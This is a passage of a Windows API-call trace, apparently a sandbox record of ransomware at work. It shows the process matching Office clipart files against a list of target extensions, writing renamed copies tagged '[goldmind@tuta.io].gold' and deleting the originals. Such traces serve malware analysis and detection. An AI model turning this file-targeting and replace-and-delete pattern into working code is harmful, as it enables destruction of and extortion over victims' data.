(lpString=".docx") returned 5 [0101.296] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0101.296] lstrlenW (lpString=".pdf") returned 4 [0101.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString=".xls") returned 4 [0101.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.296] lstrlenW (lpString=".xlsx") returned 5 [0101.296] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0101.296] lstrlenW (lpString=".ppt") returned 4 [0101.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString=".zip") returned 4 [0101.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.296] lstrlenW (lpString=".rar") returned 4 [0101.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString=".bz2") returned 4 [0101.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString=".7z") returned 3 [0101.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString=".dbf") returned 4 [0101.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString=".1cd") returned 4 [0101.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF") returned 63 [0101.296] lstrlenW (lpString=".jpg") returned 4 [0101.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.296] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.296] lstrlenW (lpString="J0093905.WMF") returned 12 [0101.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.305] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=42050) returned 1 [0101.305] CloseHandle (hObject=0x38c) returned 1 [0101.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 0x20 [0101.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0101.502] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.502] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.502] GetLastError () returned 0x0 [0101.502] ReadFile (in: hFile=0x3bc, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xa442, lpOverlapped=0x0) returned 1 [0101.504] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xa450, lpOverlapped=0x0) returned 1 [0101.505] ReadFile (in: hFile=0x3bc, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0101.505] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.505] SetEndOfFile (hFile=0x3b8) returned 1 [0101.506] CloseHandle (hObject=0x3b8) returned 1 [0101.506] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.506] SetEndOfFile (hFile=0x3bc) returned 1 [0101.508] CloseHandle (hObject=0x3bc) returned 1 [0101.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0101.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.509] lstrlenW (lpString=".doc") returned 4 [0101.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString=".docx") returned 5 [0101.509] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0101.509] lstrlenW (lpString=".pdf") returned 4 [0101.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString=".xls") returned 4 [0101.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.509] lstrlenW (lpString=".xlsx") returned 5 [0101.509] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0101.509] lstrlenW (lpString=".ppt") returned 4 [0101.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.509] lstrlenW (lpString=".zip") returned 4 [0101.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.509] lstrlenW (lpString=".rar") returned 4 [0101.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString=".bz2") returned 4 [0101.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString=".7z") returned 3 [0101.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.509] lstrlenW (lpString=".dbf") returned 4 [0101.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.509] lstrlenW (lpString=".1cd") returned 4 [0101.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.509] lstrlenW (lpString=".jpg") returned 4 [0101.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.509] lstrlenW (lpString=".doc") returned 4 [0101.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString=".docx") returned 5 [0101.509] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0101.509] lstrlenW (lpString=".pdf") returned 4 [0101.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.509] lstrlenW (lpString=".xls") returned 4 [0101.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.509] lstrlenW (lpString=".xlsx") returned 5 [0101.509] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0101.509] lstrlenW (lpString=".ppt") returned 4 [0101.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.510] lstrlenW (lpString=".zip") returned 4 [0101.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.510] lstrlenW (lpString=".rar") returned 4 [0101.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.510] lstrlenW (lpString=".bz2") returned 4 [0101.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.510] lstrlenW (lpString=".7z") returned 3 [0101.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.510] lstrlenW (lpString=".dbf") returned 4 [0101.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.510] lstrlenW (lpString=".1cd") returned 4 [0101.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF") returned 63 [0101.510] lstrlenW (lpString=".jpg") returned 4 [0101.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.510] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.510] lstrlenW (lpString="J0099153.WMF") returned 12 [0101.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.559] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=13874) returned 1 [0101.559] CloseHandle (hObject=0x3b4) returned 1 [0101.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0101.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.576] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.576] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.577] GetLastError () returned 0x0 [0101.577] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3632, lpOverlapped=0x0) returned 1 [0101.589] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3640, lpOverlapped=0x0) returned 1 [0101.590] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0101.590] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.590] SetEndOfFile (hFile=0x3a8) returned 1 [0101.590] CloseHandle (hObject=0x3a8) returned 1 [0101.590] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.590] SetEndOfFile (hFile=0x3ac) returned 1 [0101.592] CloseHandle (hObject=0x3ac) returned 1 [0101.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0101.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.593] lstrlenW (lpString=".doc") returned 4 [0101.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString=".docx") returned 5 [0101.593] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0101.593] lstrlenW (lpString=".pdf") returned 4 [0101.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString=".xls") returned 4 [0101.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.593] lstrlenW (lpString=".xlsx") returned 5 [0101.593] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0101.593] lstrlenW (lpString=".ppt") returned 4 [0101.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.593] lstrlenW (lpString=".zip") returned 4 [0101.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.593] lstrlenW (lpString=".rar") returned 4 [0101.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString=".bz2") returned 4 [0101.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString=".7z") returned 3 [0101.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.593] lstrlenW (lpString=".dbf") returned 4 [0101.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.593] lstrlenW (lpString=".1cd") returned 4 [0101.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.593] lstrlenW (lpString=".jpg") returned 4 [0101.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.593] lstrlenW (lpString=".doc") returned 4 [0101.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.593] lstrlenW (lpString=".docx") returned 5 [0101.593] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0101.594] lstrlenW (lpString=".pdf") returned 4 [0101.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.594] lstrlenW (lpString=".xls") returned 4 [0101.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.594] lstrlenW (lpString=".xlsx") returned 5 [0101.594] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0101.594] lstrlenW (lpString=".ppt") returned 4 [0101.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.594] lstrlenW (lpString=".zip") returned 4 [0101.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.594] lstrlenW (lpString=".rar") returned 4 [0101.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.594] lstrlenW (lpString=".bz2") returned 4 [0101.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.594] lstrlenW (lpString=".7z") returned 3 [0101.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.594] lstrlenW (lpString=".dbf") returned 4 [0101.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.594] lstrlenW (lpString=".1cd") returned 4 [0101.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0101.594] lstrlenW (lpString=".jpg") returned 4 [0101.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.594] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0101.594] lstrlenW (lpString="J0099157.JPG") returned 12 [0101.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.594] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=9671) returned 1 [0101.595] CloseHandle (hObject=0x3ac) returned 1 [0101.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 0x20 [0101.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0101.595] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.595] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0101.596] GetLastError () returned 0x0 [0101.596] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x25c7, lpOverlapped=0x0) returned 1 [0101.597] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x25d0, lpOverlapped=0x0) returned 1 [0101.598] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0101.598] WriteFile (in: hFile=0x3a8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.598] SetEndOfFile (hFile=0x3a8) returned 1 [0101.598] CloseHandle (hObject=0x3a8) returned 1 [0101.598] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0101.598] SetEndOfFile (hFile=0x3ac) returned 1 [0101.603] CloseHandle (hObject=0x3ac) returned 1 [0101.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0101.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.604] lstrlenW (lpString=".doc") returned 4 [0101.604] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.604] lstrlenW (lpString=".docx") returned 5 [0101.604] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0101.604] lstrlenW (lpString=".pdf") returned 4 [0101.604] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.604] lstrlenW (lpString=".xls") returned 4 [0101.604] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.604] lstrlenW (lpString=".xlsx") returned 5 [0101.604] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0101.604] lstrlenW (lpString=".ppt") returned 4 [0101.604] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.604] lstrlenW (lpString=".zip") returned 4 [0101.604] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.604] lstrlenW (lpString=".rar") returned 4 [0101.604] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.604] lstrlenW (lpString=".bz2") returned 4 [0101.604] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.604] lstrlenW (lpString=".7z") returned 3 [0101.604] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.604] lstrlenW (lpString=".dbf") returned 4 [0101.604] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.604] lstrlenW (lpString=".1cd") returned 4 [0101.604] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.604] lstrlenW (lpString=".jpg") returned 4 [0101.604] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.605] lstrlenW (lpString=".doc") returned 4 [0101.605] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.605] lstrlenW (lpString=".docx") returned 5 [0101.605] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0101.605] lstrlenW (lpString=".pdf") returned 4 [0101.605] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.605] lstrlenW (lpString=".xls") returned 4 [0101.605] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.605] lstrlenW (lpString=".xlsx") returned 5 [0101.605] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0101.605] lstrlenW (lpString=".ppt") returned 4 [0101.605] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG") returned 63 [0101.605] lstrlenW (lpString=".zip") returned 4 [0101.605] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.605] lstrlenW (lpString=".rar") returned 4 